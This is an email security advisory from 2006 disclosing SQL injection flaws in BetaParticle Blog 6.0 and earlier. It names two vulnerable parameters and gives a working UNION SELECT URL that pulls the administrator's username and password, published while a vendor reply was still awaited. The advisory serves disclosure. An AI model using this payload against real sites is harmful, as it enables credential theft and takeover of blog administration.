Date: Sat, 18 Mar 2006 20:01:46 +0200
From: [email protected]
To: [email protected], [email protected],
Subject: Advisory: BetaParticle Blog <= 6.0 Multiple Remote SQL Injection
Vulnerabilities
References: <20060304162607.2lyie75fm1m4gwow@webmail.nukedx.com.>
In-Reply-To: <20060304162607.2lyie75fm1m4gwow@webmail.nukedx.com.>
MIME-Version: 1.0
Content-Type: text/plain;
charset=ISO-8859-9;
format="flowed"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) H3 (4.0.3)
X-Virus-Scanned: antivirus-gw at tyumen.ru
--Security Report--
Advisory: BetaParticle Blog <= 6.0 Multiple Remote SQL Injection
Vulnerabilities
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 18/03/06 05:27 PM
---
Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}
---
Vendor: BetaParticle (http://www.betaparticle.com/)
Version: 6.0 and prior versions must be affected.
About: Via this method remote attacker can inject arbitrary SQL query.
Level: Critical
---
How&Example:
GET -> http://[site]/bpdir/template_permalink.asp?id=[SQLQuery]
GET -> http://[site]/bpdir/template_gallery_detail.asp?fldGalleryID=[SQLQuery]
Example ->
http://[site]/bpdir/template_gallery_detail.asp?fldGalleryID=-1+UNION+SELECT+null,fldAuthorUsername
,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1
With this example remote attacker could get admin's pass and can login from
/main.asp
--
Timeline:
* 18/03/2006: Vulnerability found.
* 18/03/2006: Contacted with vendor and waiting reply.
---
Exploit:
Click here and get exploit for this advisory
---
